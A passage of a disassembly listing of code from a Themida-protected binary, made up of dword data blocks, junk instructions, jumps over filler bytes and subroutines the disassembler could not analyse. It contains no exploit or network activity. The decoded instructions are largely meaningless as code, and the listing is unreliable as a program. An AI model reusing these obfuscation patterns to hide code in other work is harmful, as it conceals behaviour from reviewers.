		dd 94B86656h, 66F55ED9h, 0E9BC71B8h, 0Ah, 0BC3C5BB5h, 5F566E7Eh
		dd 860F8FC4h, 3, 66D2BF0Fh, 0E9287EBBh,	0Ah, 35331C74h
		dd 942126E7h, 8E0F2FCCh, 17h, 12E9h, 9B46CC00h,	54967C3Ch
		dd 2DA5AD60h, 430D84E6h, 60816DFFh, 5909C181h, 0E381690Ah
		dd 0D3FCBEDh, 0CE8B5061h, 0F08B5759h, 0DE816658h, 0EE963A3h
		dd 0CF000000h, 417743C5h, 0C03B5568h
		dd 28939761h, 0FABF0F6Ch, 0DE8h, 68964800h, 67495B50h
		dd 0EE631A1Dh, 13E9F697h, 6000000h, 0F955CEEh, 0CD61D6EBh
		dd 0B570D628h, 8B3C58E8h, 0F5FA04Bh, 168Eh, 11E900h, 75380000h
		dd 6FFBE447h, 3E53B45Ah, 812417C3h, 0B8B93D00h,	47D30FF0h
		dd 96C9B866h, 29BE07B8h, 28D0F69h, 8B000000h, 8E8D7h, 5BBA0000h
		dd 94F4CC6Bh, 6E98E91h,	60000000h, 0FA64A200h, 14E95F5Eh
		dd 0DF000000h, 0D6E94A85h, 5AC12607h, 0CA240A96h, 7E1F9820h
		dd 0FFBA76Fh, 0DA81F6B7h, 5085548Ch, 3CEDBE66h,	8BFFB70Fh
		dd 0D4D5B9C8h, 0C7B36497h, 66DFBF0Fh, 0CC5EEA81h, 708FBE66h
		dd 0F8AC080h, 38Ah, 0C2BF0F00h,	198D0Fh, 14E90000h, 0C000000h
		dd 0A2864C07h, 0A3C9ECFAh, 0EDAE7EFCh, 0CED2D7ABh, 0FC71A765h
		dd 840642BAh, 0FABF0F5Fh, 9536D781h, 5E92B21h, 66000000h
		dd 256B92F3h, 10E9h, 0F7D04B00h, 54C0A895h, 2B31AEFAh
		dd 1D88ADD5h, 880F5185h, 2, 0E95FD68Bh,	0Eh, 729AFDC6h
		dd 1C1F4658h, 705FE20Ch, 0FE8FEC4h, 1A000000h, 5BF13AAh
		dd 1C197339h, 0B0024EA6h, 8F0F8DE8h, 6,	0E98DE81h, 665F0937h
		dd 0BF66C88Bh, 0F381ED2Fh, 6E1EF409h, 12E9h, 0E2C83B00h
		dd 0B799EA43h, 0EDCF012Fh, 0E3CBCD02h, 6688D31Fh, 44FCCF81h
		dd 14E8h, 6EA2B200h, 0E2019892h, 0BF804A82h, 0F90882E8h
		dd 0D2E04AE2h, 6880FD1h, 81000000h, 21346CDFh, 8B0F5F17h
		dd 0Ah,	4880Fh,	0BA660000h, 7E9EB8Fh, 0A0000000h, 473FA352h
		dd 0DA80DD6Eh, 5880F16h, 60000000h, 61F55B53h, 0C98166F8h
		dd 0EA8137FFh, 6AD3607Ch, 0FCDAB70Fh, 0BE9h, 61C8D000h
		dd 9159070Fh, 9B7D2B59h, 0FD1ED881h, 0F9B9230Fh, 813B46DAh
		dd 364E96EAh, 7FBE6036h, 602DB0BCh, 820Fh, 0BF0F0000h
		dd 0E86161F1h, 0Ch, 78630C4Bh, 6134E13Dh, 630B7343h, 38A0Fh
		dd 8B660000h, 66565ECFh, 5B4D0ABEh, 4840FFCh, 66000000h
		dd 57C645B9h, 0F47E09BEh, 8B665806h, 5E8D3h, 48EA0000h
		dd 0F37C9C8h, 0E958D9BFh, 9, 0E44508DEh, 4CD568C1h, 0EE8ECh
		dd 0B8C0000h, 0D2A15AAAh, 149AA7A8h, 2D54B91Dh,	0BE8h
		dd 1A995700h, 9A483CA7h, 0CB1B6DFh, 10E9h, 6D82D700h, 256A44E6h
		dd 5EDB8F2h, 4904846Fh,	665E58DAh, 60E4E7B8h, 76E5BE66h
		dd 11E9h, 0BEB27300h, 0C4A77263h, 76E12F17h, 72C5DC34h
		dd 0F861DC69h, 0ADDE8166h, 57C88B4Ah, 0F5F1BB7h, 588h
		dd 0C88B6000h, 0D68161F9h, 39322DA4h, 0DE9h, 381FC200h
		dd 0EEB5465Eh, 0A5FC8091h, 0BF0FB1C6h, 0E870FF7h, 0E9000000h
		dd 9, 345900FDh, 67FE8999h, 0CA8B6678h,	13E9F8h, 24B00000h
		dd 97144478h, 374640CCh, 8C165285h, 0AE8B310Eh,	0FCCB8B70h
		dd 0F13ABE66h, 0D0BFC78Ah, 665D01D6h, 8A0FD38Bh, 1, 0C28166F5h
		dd 9E823E0h, 0F2000000h, 8FAC99F1h, 0B375BCC9h,	14E8h
		dd 6C39F400h, 0DD7B0844h, 405F3270h, 7753DBD3h,	467290D1h
		dd 59C78B51h, 5860F5Ah,	66000000h, 0F3A2C081h, 0FE8h, 0F23A9600h
		dd 3EAEDE7h, 603BB5D5h,	0C5C3B4CAh, 665AF28Bh, 0F2E95B9h
		dd 383h, 46C78000h, 8C0Fh, 0CF810000h, 1480949h, 0F916E480h
		dd 0DA8B91B7h, 0ED35BA66h, 609AEB80h, 890F60h, 61000000h
		dd 5161FE8Bh, 0A298E181h, 0F95A6854h, 5840Fh, 0B4B90000h
		dd 0E92D27FDh, 7, 0E341C0DBh, 0E865698Dh, 0Ch, 0ED9450FBh
		dd 0C0948569h, 0D67A1580h, 5FE7D780h, 0C7EE8166h, 0FEBF0F57h
		dd 11E8h, 0AC6FBD00h, 6FF33985h, 1BBB4702h, 904F8C2Dh
		dd 0D08AC960h, 0B4EA815Fh, 0F39F68Bh, 487h, 0F38B5600h
		dd 13E85Eh, 0A3800000h,	30867A65h, 2FA7A37Ah, 42210CF1h
		dd 810F8B60h, 28E0FF9h,	60000000h, 0FFC5961h, 198Eh, 14E900h
		dd 7B530000h, 6C41937Eh, 0CA57412Ch, 69A36491h,	39B8AE23h
		dd 0D3BE4CE8h, 537D2F4Ch, 0BE8h, 0A3906800h, 0EA5501F5h
		dd 0B50EE8DBh, 880Fh, 585B0000h, 2AD7B866h, 58D0Fh, 81660000h
		dd 66B391DEh, 0F51F78Bh, 8A5BCEBFh, 60C28AE5h, 0D681D88Ah
		dd 2F33B4D0h, 62F78161h, 0B96AE62Ch, 5A636136h,	0BB66D68Bh
		dd 81666214h, 0FCA38D1h, 1085h,	9E95300h, 64000000h, 66B6BA34h
		dd 222E5AE9h, 0CEE0815Ah, 0E83E5EAFh, 5, 0B1022938h, 0DE920h
		dd 0D0E00000h, 0A8F2B5F2h, 0C26B2147h, 58DDB2A0h, 9E9h
		dd 0A2228700h, 0C90EF47Eh, 0BF0F4F4Dh, 78E181FAh, 8B464272h
		dd 0F98B66F8h, 0C1C6F681h, 0A3B846EBh, 0E83433D0h, 0Ch
		dd 0C16E83EEh, 0DAF888D2h, 0DBD19086h, 1132B866h, 0AE95Bh
		dd 610A0000h, 82F25739h, 2DB74BAh, 0F28BB3B1h, 25AC081h
		dd 8B6673EEh, 890FC3h, 0E9000000h, 11h,	5B34D34Bh, 0D46661Dh
		dd 0D4B99D7Dh, 93D0E77Fh, 0CE9B3h, 0BF730000h, 45D6E7A5h
		dd 40FE822h, 0B866B4EAh, 0E9608BACh, 13h, 8A686069h, 5E01BC15h
		dd 0B6ACAA6Dh, 0C4F5FCB0h, 0E9C8A86Dh, 0Eh, 3B3AC915h
		dd 64B6C89Fh, 335E2F8Eh, 0BF61DB5Fh, 6EBB9060h,	0DE8h
		dd 0C566DA00h, 41C9764h, 0B1848A21h, 5E80212h, 0D9000000h
		dd 5E70F916h, 0CBEDC081h, 5E5F778Bh, 75F06EBAh,	0D78B6644h
		dd 0BBEB8052h, 2DBE665Eh, 61FC60EEh, 0CD7211B9h, 0C68B6645h
		dd 0DE5CBA66h, 0A2F181F9h, 0F4176C8h, 685h, 41DE8100h
		dd 5106596Dh, 0EE9h, 0AAA10200h, 0D4E81108h, 4B693B5Ch
		dd 59CDAE9Eh, 0DA80ECB2h, 63BA60EBh, 80017C6Bh,	8B6197D9h
		dd 6E9C6h, 649E0000h, 0E1F487F6h, 2840F60h, 53000000h
		dd 0F61F958h, 286h, 66CF8A00h, 818FF3BFh, 70255CAh, 0BE81Ah
		dd 0C2CB0000h, 0E336EEC0h, 0DB664898h, 5E964h, 58FE0000h
		dd 5FDF1882h, 8056C18Bh, 665E12D2h, 0FFF64B8h, 38Dh, 0D3B70F00h
		dd 0CBCA8153h, 5F0CEF16h, 7E9h,	501B6000h, 5D9DB974h, 77D9EA81h
		dd 0B70F0D18h, 0E953F9DBh, 6, 0F745EDF8h, 0E858AC70h, 14h
		dd 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh, 0E9C702EFh, 0A9010129h
		dd 8D28160h, 0F87016B7h, 0D2805F61h, 66FB8BF6h,	8A596FBFh
		dd 6E9F4h, 0B0420000h, 81E395A8h, 11E9h, 91A97600h, 0DB7BDEC9h
		dd 4FC81E3Bh, 97AD6AFCh, 8C0F5EAFh, 0Dh, 0F2816660h, 870F4C48h
		dd 0
; ---------------------------------------------------------------------------
		popa
		mov	al, dl
		mov	esi, 0BC9E57Ah
		pusha
		jmp	loc_6118CB
; ---------------------------------------------------------------------------
		dw 0F77Ah
; ---------------------------------------------------------------------------
		aas
		retf
; ---------------------------------------------------------------------------
		dw 39F5h
		dd 1F36F203h, 2A94970Ch
		db 0BEh, 0ABh, 8Eh
; ---------------------------------------------------------------------------


loc_6118CB:				; CODE XREF: Themida_:006118B5j
		call	near ptr loc_6118E2+1
		or	[ebp-25h], dl
		dec	ebp
		pop	ecx
		jg	short near ptr dword_61119C+6CDh
		pop	ds
		mov	[edi-7F95CE41h], bl
		lahf
		daa
		jp	short near ptr dword_61119C+706h


loc_6118E2:				; CODE XREF: Themida_:loc_6118CBp
		imul	cl
		or	[eax], eax
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		push	edi
		mov	esp, 0C8AB97Bh
		adc	[esi+ebx*2], dh
		popa
		or	ax, 1828h
		mov	esi, 7FC12213h
		push	esi
		mov	si, 0B328h
		pop	ebx
		movsx	ebx, bx
		mov	bx, 426Ah
		push	edx
		sub	ebx, 27569E34h
		pop	edx
		or	ah, 89h
		jns	$+6
		and	ch, 6Fh
		push	esi
		jmp	loc_611931
; ---------------------------------------------------------------------------
		dd 137C6732h, 6BA6B369h, 74199B69h
		db 70h
; ---------------------------------------------------------------------------


loc_611931:				; CODE XREF: Themida_:0061191Fj
		pop	edx
		call	sub_611944
		sar	byte ptr [ecx+4E6AD53h], cl
		push	ebx
		into
		jz	short near ptr loc_61194C+4
		ror	byte ptr [ebx],	1
		dec	esi

; =============== S U B	R O U T	I N E =======================================



sub_611944	proc near		; CODE XREF: Themida_:00611932p
		mov	cl, 2Dh
		pop	edx
		call	sub_611953


loc_61194C:				; CODE XREF: Themida_:0061193Fj
		or	edx, [eax-0DE11AD4h]
		retn
sub_611944	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_611953	proc near		; CODE XREF: sub_611944+3p
		clc
		pop	ecx
		jmp	loc_61196D
; ---------------------------------------------------------------------------
		dw 9A62h
		dd 0F8638C01h, 0F782716Fh, 70A5FED7h, 355E596Ah
		db 24h
; ---------------------------------------------------------------------------


loc_61196D:				; CODE XREF: sub_611953+2j
		cmc
		mov	ax, dx
		movzx	edx, si
		and	edx, 3AC2ED07h
		movzx	edx, dx
		mov	ecx, edi
		jmp	loc_611996
; ---------------------------------------------------------------------------
		dd 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 16D5AAACh
		db 6Dh,	32h
; ---------------------------------------------------------------------------


loc_611996:				; CODE XREF: sub_611953+2Cj
		xor	ebx, 4173D757h
		add	edi, 71D49148h
		mov	di, bx
		jmp	loc_6119B8
; ---------------------------------------------------------------------------
		dw 0F257h
		dd 0DB74BA82h, 452F7B02h, 237F3031h
; ---------------------------------------------------------------------------


loc_6119B8:				; CODE XREF: sub_611953+52j
		jmp	loc_6119CA
; ---------------------------------------------------------------------------
		db 89h,	2Fh, 63h
		dd 983F4EEDh, 1784A024h
		db 0EFh, 37h
; ---------------------------------------------------------------------------


loc_6119CA:				; CODE XREF: sub_611953:loc_6119B8j
		jbe	loc_6119D8
		jnb	loc_6119D8
		mov	edi, ebx


loc_6119D8:				; CODE XREF: sub_611953:loc_6119CAj
					; sub_611953+7Dj
		sbb	di, 7D61h
		mov	ecx, esi
		mov	bx, si
		push	eax
		mov	cl, 88h
		pop	ebx


loc_6119E6:				; CODE XREF: sub_6119F8+3Fj
		call	sub_6119F8
		dec	esi
		fsub	qword ptr [edi]
		push	ecx
		jbe	short near ptr loc_611A13+2
		test	byte ptr [edi+6Fh], 0F6h
		test	al, 0ABh
		inc	eax
sub_611953	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6119F8	proc near		; CODE XREF: sub_611953:loc_6119E6p
		push	eax
		mov	esi, 183F059Ch
		pop	edi
		pop	edx
		push	edi
		jmp	loc_611A0C
; ---------------------------------------------------------------------------
		dw 0E50Ah
		dd 0CA69E82Ch
; ---------------------------------------------------------------------------


loc_611A0C:				; CODE XREF: sub_6119F8+9j
		pop	edx
		clc
		mov	edx, 12429F01h


loc_611A13:				; CODE XREF: sub_611953+9Cj
		adc	di, 22B6h
		add	eax, 3685AD35h
		cmc
		adc	bx, 0C38Dh
		jmp	loc_611A2F
; ---------------------------------------------------------------------------
		db 9Bh,	0E1h, 0AAh
		db 0C8h, 5Bh, 41h
; ---------------------------------------------------------------------------


loc_611A2F:				; CODE XREF: sub_6119F8+2Cj
		mov	al, 97h
		clc
		call	near ptr sub_611A3E
		jp	short loc_6119E6
		and	[bp+di-34C2h], ecx
sub_6119F8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_611A3E	proc far		; CODE XREF: sub_6119F8+3Ap
		push	ebx
		mov	ebx, 64DD9D1Fh
		pop	edx
		pop	edx
		sbb	al, 24h


loc_611A49:				; CODE XREF: sub_611A3E+5Cj
		and	bl, 0CAh
		mov	ch, 56h
		push	edx
		movsx	ecx, di
		pop	edi
		mov	cx, ax
		mov	ebx, 27C8AA4Eh
		add	edi, 6AB3E25Bh
		mov	di, dx
		add	cl, 0D6h
		mov	cx, dx
		jmp	loc_611A7A
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0D8D18FC4h, 25B61B8Eh
		db 76h,	50h
; ---------------------------------------------------------------------------


loc_611A7A:				; CODE XREF: sub_611A3E+2Cj
		jmp	loc_611A89
; ---------------------------------------------------------------------------
		db 43h
		dd 24F729B7h, 7B6EDDE1h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------


loc_611A89:				; CODE XREF: sub_611A3E:loc_611A7Aj
		mov	al, ch
		mov	ch, 0F2h
		movzx	edx, ax
		xor	cx, 0C8C8h
		jmp	loc_611AAB
; ---------------------------------------------------------------------------
		jmp	short loc_611A49
; ---------------------------------------------------------------------------
		dd 59BDAECEh, 54C7874Fh, 0EFB7D9A3h
		db 57h,	0D8h, 64h
; ---------------------------------------------------------------------------


loc_611AAB:				; CODE XREF: sub_611A3E+57j
		mov	bx, 7319h
		mov	eax, esi
		push	esi
		jnp	loc_611ABB
		movzx	eax, bx


loc_611ABB:				; CODE XREF: sub_611A3E+74j
		pop	edi
		push	eax
		call	near ptr loc_611ACE+4
		cld
		push	es
		lodsb
		push	edx
		push	edi
		and	eax, 0F673C01Dh
		xchg	eax, esp
		sti


loc_611ACE:				; CODE XREF: sub_611A3E+7Fp
		mov	edi, 0FCBC477Dh
sub_611A3E	endp ; sp-analysis failed

		pop	edi
		pop	ecx
		pusha
		mov	ecx, 17844E6Dh
		mov	al, 60h
		popa
		and	esi, 405D199Ah
		push	ecx
		add	si, 206Dh
		pop	edi
		stc
		adc	dl, 63h
		jmp	loc_611AF9
; ---------------------------------------------------------------------------
		dd 69056FECh
; ---------------------------------------------------------------------------
		lodsd


loc_611AF9:				; CODE XREF: Themida_:00611AEFj
		jge	loc_611B02
		mov	ax, cx


loc_611B02:				; CODE XREF: Themida_:loc_611AF9j
		pusha
		movsx	ebx, si
		jnz	loc_611B0E
		mov	eax, edi


loc_611B0E:				; CODE XREF: Themida_:00611B06j
		popa
		mov	eax, 49396623h
		or	al, 0BAh
		pusha
		pusha
		jno	$+6
		mov	di, 1C18h
		popa
		clc
		popa
		movzx	edi, ax
		sbb	ebx, 4256CFA5h
		mov	edi, 3962B11h


loc_611B34:				; CODE XREF: Themida_:00611B46j
		cld
		call	sub_611B4E
		and	eax, 614A0D15h
		stc
		cdq
		and	al, 0D3h
		aas
		mov	bh, 5
		loope	loc_611B34
		sahf
		or	[ebx], ecx
		adc	[ecx], ecx
		xchg	eax, esp

; =============== S U B	R O U T	I N E =======================================



sub_611B4E	proc near		; CODE XREF: Themida_:00611B35p
		jl	loc_611B5A
		ja	$+6


loc_611B5A:				; CODE XREF: sub_611B4Ej
		pop	eax
		call	near ptr loc_611B6E+3
		mov	ds:6BBCF7B1h, eax
		pop	edi
		sub	dword ptr [ecx-3Dh], 68h
		push	edi
		pop	ebx
		push	ss
		pop	ebx


loc_611B6E:				; CODE XREF: sub_611B4E+Dp
		mov	dword ptr [eax], 0AB2AB870h
sub_611B4E	endp ; sp-analysis failed

		jp	short loc_611BAB
		pop	ecx
		movsx	edi, ax
		jmp	loc_611B92
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0B7BF75A0h, 50C4D285h, 7B2F2A7h, 8745BD82h
		db 1Dh,	0FAh
; ---------------------------------------------------------------------------


loc_611B92:				; CODE XREF: Themida_:00611B7Aj
		call	near ptr loc_611B9E+5
		mov	[ecx+70950FDFh], gs
		cli


loc_611B9E:				; CODE XREF: Themida_:loc_611B92p
		rcl	byte ptr [ebx-16AFF64Bh], cl
		adc	al, [eax]
; ---------------------------------------------------------------------------
		dw 0
		db 0EDh, 0D8h, 3Ah
; ---------------------------------------------------------------------------


loc_611BAB:				; CODE XREF: Themida_:00611B74j
		movsb
		xor	eax, 1C3207A2h
		xchg	eax, ecx
		cmpsb
		jmp	near ptr 0F959E252h
; ---------------------------------------------------------------------------
		dd 0E85A3A2Ah, 0Fh, 93BBCA7h, 46FE06AEh, 127AC955h, 6627C1DDh
		dd 6058D88Bh, 61CB8B66h, 0EBB7BF66h, 8E9F8h, 0AA560000h
		dd 7A9895E7h, 0AE9677Bh, 0
		db  51h	; Q
		db 0B9h	; ╧
		db  90h	; ░
		db  2Ah	; *
		db    2
		db 0F4h	; Т
		db 0B2h	; ╡
		db 0C9h	; и
		db 0B9h	; ╧
		db  66h	; f
		db 0BBh	; ╩
		db  3Bh	; ;
		db  2Bh	; +
		db  8Ah	; ┼
		db 0D3h	; с
		db  51h	; Q
		db  0Fh
		db  8Dh	; █
		db    3
		db    0
		db    0
		db    0
		db  66h	; f
		db  8Bh	; ▀
		db 0F8h	; Ь
		db  58h	; X
		db  60h	; `
		db 0B9h	; ╧
		db  85h	; ┘
		db 0E6h	; Ф
		db  5Bh	; [
		db  69h	; i
		db  8Bh	; ▀
		db 0D7h	; в
		db  61h	; a
		db  53h	; S
		db  60h	; `
		db 0E9h	; И
		db  13h
		db    0
		db    0
		db    0
		dw 854h
; ---------------------------------------------------------------------------
		jmp	short locret_611C27
; ---------------------------------------------------------------------------
		dw 0E7FEh
		dd 2C3A90A9h
		db 57h,	0Fh, 9Dh
; ---------------------------------------------------------------------------

locret_611C27:				; CODE XREF: Themida_:00611C1Cj
		retn
; ---------------------------------------------------------------------------
		dd 298AC43Ch
		db 2Ch
		db 0E8h	; Х
		db    6
		db    0
		db    0
		db    0
		db  6Dh	; m
		db  33h	; 3
		db  14h
		db 0B4h	; ╢
		db 0A5h	; ╔
		db  0Eh
		db  59h	; Y
		db  61h	; a
		db  59h	; Y
		db  8Ah	; ┼
		db 0CAh	; й
		db  80h	; ─
		db 0CCh	; л
		db 0DBh	; ш
		db  0Fh
		db  8Bh	; ▀
		db    1
		db    0
		db    0
		db    0
		db 0F8h	; Ь
		db  66h	; f
		db  8Bh	; ▀
		db 0F2h	; Р
		db  66h	; f
		db  81h	; │
		db 0EFh	; О
		db  17h
		db  5Eh	; ^
		db  81h	; │
		db 0CEh	; н
		db  4Ah	; J
		db  9Ah	;  
		db  6Ah	; j
		db  79h	; y
		db 0E9h	; И
		db    9
		db    0
		db    0
		db    0
		dw 4AB0h
		dd 4C91E2D6h, 60BF89E8h, 7E9h, 0D549C900h, 38C01C33h, 0F61A4B4h
		dd 28Ah, 81FE8B00h, 0E0B3C4EBh,	66F88A4Dh, 0B8413CBEh
		dd 9F9B56h, 29BE6653h, 816059E2h, 0B3CE3FE1h, 61EC8A33h
		dd 0E8C1B70Fh, 11h, 547AA39Fh, 8F3E6714h, 6FE39B2Bh, 9C90DB72h
		db 0BEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_611CB5	proc near
		jmp	sub_611CC7
sub_611CB5	endp

; ---------------------------------------------------------------------------
		dw 6594h
		dd 152E5705h, 0DD2EEF78h
		db 5, 9Fh, 12h

; =============== S U B	R O U T	I N E =======================================



sub_611CC7	proc near		; CODE XREF: sub_611CB5j
		pop	ebx
		mov	si, 7E67h
		mov	edi, ebx
		jmp	loc_611CDF
; ---------------------------------------------------------------------------
		db 26h
		dd 0D79DBB71h, 0F0279544h
		db 2Eh,	58h, 12h
; ---------------------------------------------------------------------------


loc_611CDF:				; CODE XREF: sub_611CC7+7j
		jmp	loc_611CF4
; ---------------------------------------------------------------------------
		dd 4ACC41F3h, 0D33E63AAh, 0C4E4F2B9h, 0B66D5272h
; ---------------------------------------------------------------------------


loc_611CF4:				; CODE XREF: sub_611CC7:loc_611CDFj
		mov	edi, 6CF061BDh
		jle	loc_611D09
		jmp	loc_611D09
; ---------------------------------------------------------------------------
		dd 4E77DA2Bh
		db 1
; ---------------------------------------------------------------------------


loc_611D09:				; CODE XREF: sub_611CC7+32j
					; sub_611CC7+38j
		jmp	loc_611D13
; ---------------------------------------------------------------------------
		push	0C956C01Ah


loc_611D13:				; CODE XREF: sub_611CC7:loc_611D09j
		mov	bh, 5Bh
		cld
		jmp	loc_611D2F
; ---------------------------------------------------------------------------
		or	[edx-63C8E804h], ecx
		xlat
		lea	esi, ds:81403D91h
		add	al, 74h
		cmp	eax, 21B46085h


loc_611D2F:				; CODE XREF: sub_611CC7+4Fj
		jnb	loc_611D37
		mov	ecx, edx


loc_611D37:				; CODE XREF: sub_611CC7:loc_611D2Fj
		js	loc_611D43
		or	ecx, 7C48C6B3h


loc_611D43:				; CODE XREF: sub_611CC7:loc_611D37j
		jo	loc_611D55
		jmp	loc_611D55
; ---------------------------------------------------------------------------
		dw 7727h
		dd 2B8E2895h
		db 0A8h
; ---------------------------------------------------------------------------


loc_611D55:				; CODE XREF: sub_611CC7:loc_611D43j
					; sub_611CC7+82j
		adc	dh, 0CAh
		push	eax
		push	ecx
		sbb	ebx, 18B07DFAh
		pop	ebx
		pop	eax
		mov	si, 0CE35h
		mov	bx, di
		jmp	loc_611D77
; ---------------------------------------------------------------------------
		dw 84EAh
		dd 0E5742C11h
		db 0D6h, 0ABh, 26h
; ---------------------------------------------------------------------------


loc_611D77:				; CODE XREF: sub_611CC7+A2j
		mov	dx, 82DCh
		call	near ptr loc_611D82+4
		db	36h
		insb


loc_611D82:				; CODE XREF: sub_611CC7+B4p
		mov	ebx, 0F5AA260Eh
sub_611CC7	endp ; sp-analysis failed

		pop	ecx
		add	cl, 65h
		xor	edx, 5F7F2B27h
		mov	edx, 138F2408h
		pusha
		call	sub_611DAB
		das
		pop	edx
		hlt
; ---------------------------------------------------------------------------
		dec	edx
		retn	0B189h
; ---------------------------------------------------------------------------
		db 7Dh
		dd 0CE61F9D9h
		db 0BAh, 0A8h, 0DFh

; =============== S U B	R O U T	I N E =======================================



sub_611DAB	proc near		; CODE XREF: Themida_:00611D97p
		mov	eax, edi
		pop	ebx
		push	edi
		sbb	di, 7007h
		pop	edi
		popa
		call	near ptr loc_611DC0+2
		add	ah, al
		push	cs
		sbb	[ecx], esp


loc_611DC0:				; CODE XREF: sub_611DAB+Bp
		test	[edi+ecx], ebx
sub_611DAB	endp ; sp-analysis failed

		test	[esi], eax
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		or	ecx, 289D921h
		pop	ecx
		jmp	loc_611DDD
; ---------------------------------------------------------------------------
		dd 2276276Bh, 29C14BBh
		db 0E6h
; ---------------------------------------------------------------------------


loc_611DDD:				; CODE XREF: Themida_:00611DCFj
		add	ax, 26BAh
		adc	di, 0C85Fh
		mov	cx, di
		sub	edx, 7E646AD8h
		call	sub_611E02
		or	dh, [esi+0Fh]
		retn	695Ch
; ---------------------------------------------------------------------------
		db 16h
		dd 90FD5449h
		db 2Eh,	38h

; =============== S U B	R O U T	I N E =======================================



sub_611E02	proc near		; CODE XREF: Themida_:00611DF0p
		pop	edx
		jz	loc_611E19
		jmp	loc_611E19
; ---------------------------------------------------------------------------
		dw 3FEBh
		dd 1A8AF75Fh, 94400AEAh
		db 0DDh
; ---------------------------------------------------------------------------


loc_611E19:				; CODE XREF: sub_611E02+1j
					; sub_611E02+7j
		jo	$+6
		cld
		pusha
		mov	ecx, 412E22B5h
		cld
		popa
		add	bh, 34h
		pusha
		adc	edi, 2C94146Dh
		mov	al, 56h
		popa
		push	eax
		stc
		pop	edi
		jl	loc_611E41
		push	edx
		cmc
		pop	eax


loc_611E41:				; CODE XREF: sub_611E02+36j
		jbe	loc_611E4B
		mov	di, 0EA5Ch


loc_611E4B:				; CODE XREF: sub_611E02:loc_611E41j
		mov	eax, esi
		or	di, 15Ch
		stc
		mov	bh, 79h
		push	edi
		pop	edi
		clc
		pusha
		sbb	edx, 4DC041A7h
		call	near ptr loc_611E6D+2
		rcr	al, 1
		mov	dword ptr [edi+0Fh], 0C5ACAF15h


loc_611E6D:				; CODE XREF: sub_611E02+5Dp
		add	byte ptr [ebx],	8Ah
sub_611E02	endp ; sp-analysis failed

		enter	615Bh, 0B8h
		sbb	cl, [ebx+60F92AB7h]
		mov	ch, dh
		sub	dx, 906Fh
		popa
		cld
		push	ebx
		sbb	eax, 34E4421Fh
		pop	edx
		mov	ah, 10h
		jmp	loc_611EA6
; ---------------------------------------------------------------------------
		dw 3C9Ah
		dd 8E8E55CDh, 0B72874B1h, 0E2D40674h, 0C00ECD17h
		db 3Ah,	7Ch
; ---------------------------------------------------------------------------


loc_611EA6:				; CODE XREF: Themida_:00611E8Dj
		clc
		jmp	loc_611EB6
; ---------------------------------------------------------------------------
		dd 0EED06C65h, 64D6F4C6h
; ---------------------------------------------------------------------------
		scasb
		sti


loc_611EB6:				; CODE XREF: Themida_:00611EA7j
		pusha
		jns	loc_611EC3
		jp	$+6


loc_611EC3:				; CODE XREF: Themida_:00611EB7j
		sbb	ebx, 59803081h
		popa
		xor	edx, 6ED82097h
		jmp	loc_611EE7
; ---------------------------------------------------------------------------
		db 92h,	0E5h, 24h
		dd 0CA5825Fh, 8F12ECB5h, 0E83CC75Fh
		db 59h,	0CCh, 0C2h
; ---------------------------------------------------------------------------


loc_611EE7:				; CODE XREF: Themida_:00611ED0j
		jno	loc_611EF0
		add	cl, 43h


loc_611EF0:				; CODE XREF: Themida_:loc_611EE7j
		jnz	loc_611EFB
		mov	esi, 1B940396h


loc_611EFB:				; CODE XREF: Themida_:loc_611EF0j
		jnp	$+6
		mov	ecx, 0F4C7F6Ch
		mov	dx, 4D15h
		jl	loc_611F11
		clc


loc_611F11:				; CODE XREF: Themida_:00611F0Aj
		mov	edx, eax
		jns	loc_611F1C
		add	bl, 87h


loc_611F1C:				; CODE XREF: Themida_:00611F13j
		mov	ah, cl
		mov	edx, ecx
		mov	ecx, 0B709DC8h
		sbb	cx, 0CF6Ah
		or	edx, 30DB96B8h
		stc
		cmc
		call	sub_611F40
		retn	0E283h
; ---------------------------------------------------------------------------
		cld
		punpckhbw mm4, mm3
		sub	dh, bl

; =============== S U B	R O U T	I N E =======================================



sub_611F40	proc near		; CODE XREF: Themida_:00611F32p
		sbb	dl, 18h
		pop	ecx
		and	esi, 395138BFh
		mov	dx, 0F95Dh
		mov	dx, si
		pusha
		and	si, 65A1h
		cld
		popa
		jns	loc_611F65
		adc	eax, 73228F72h


loc_611F65:				; CODE XREF: sub_611F40+19j
		call	loc_611F79
		wait
		nop
		fadd	qword ptr [ecx-19h]
		mov	dl, 0EAh
		shl	bl, cl
		aam	0E9h
		enter	7B50h, 45h
sub_611F40	endp ; sp-analysis failed



loc_611F79:				; CODE XREF: sub_611F40:loc_611F65p
		push	ebx
		jmp	loc_611F8C
; ---------------------------------------------------------------------------
		align 10h
		dd 750EA883h, 561B6EBDh, 1CEF3682h
; ---------------------------------------------------------------------------


loc_611F8C:				; CODE XREF: Themida_:00611F7Aj
		pop	esi
		pop	ecx
		jns	loc_611F9A
		add	eax, 2C156644h


loc_611F9A:				; CODE XREF: Themida_:00611F8Ej
		and	esi, 7491C7E3h
		sub	bh, 1Ah
		mov	edx, ecx
		push	esi
		pop	edi
		cld
		jnp	loc_611FB4
		jl	$+6


loc_611FB4:				; CODE XREF: Themida_:00611FA8j
		sbb	al, 0A9h
		cmc
		mov	ecx, ebx
		sub	ecx, 2AF13B2Ch
		or	eax, 7201C562h
		jmp	loc_611FD8
; ---------------------------------------------------------------------------
		db 76h
; ---------------------------------------------------------------------------
		lea	ebx, [esi-7Fh]
		mov	edx, 11A2E771h
		retn	0BC3Eh
; ---------------------------------------------------------------------------
		db 0E0h
; ---------------------------------------------------------------------------


loc_611FD8:				; CODE XREF: Themida_:00611FC6j
		movsx	edx, ax
		mov	edi, edx
		mov	al, bl
		mov	cx, di
		mov	dx, 0CDB1h
		or	bx, 80ACh
		mov	ebx, edi
		adc	bx, 0AD7Ah
		push	ecx
		mov	ebx, edx
		pop	edx
		jmp	loc_612006
; ---------------------------------------------------------------------------
		db 70h
		dd 6961DAE5h, 0CFCD5E61h
; ---------------------------------------------------------------------------
		pop	ecx
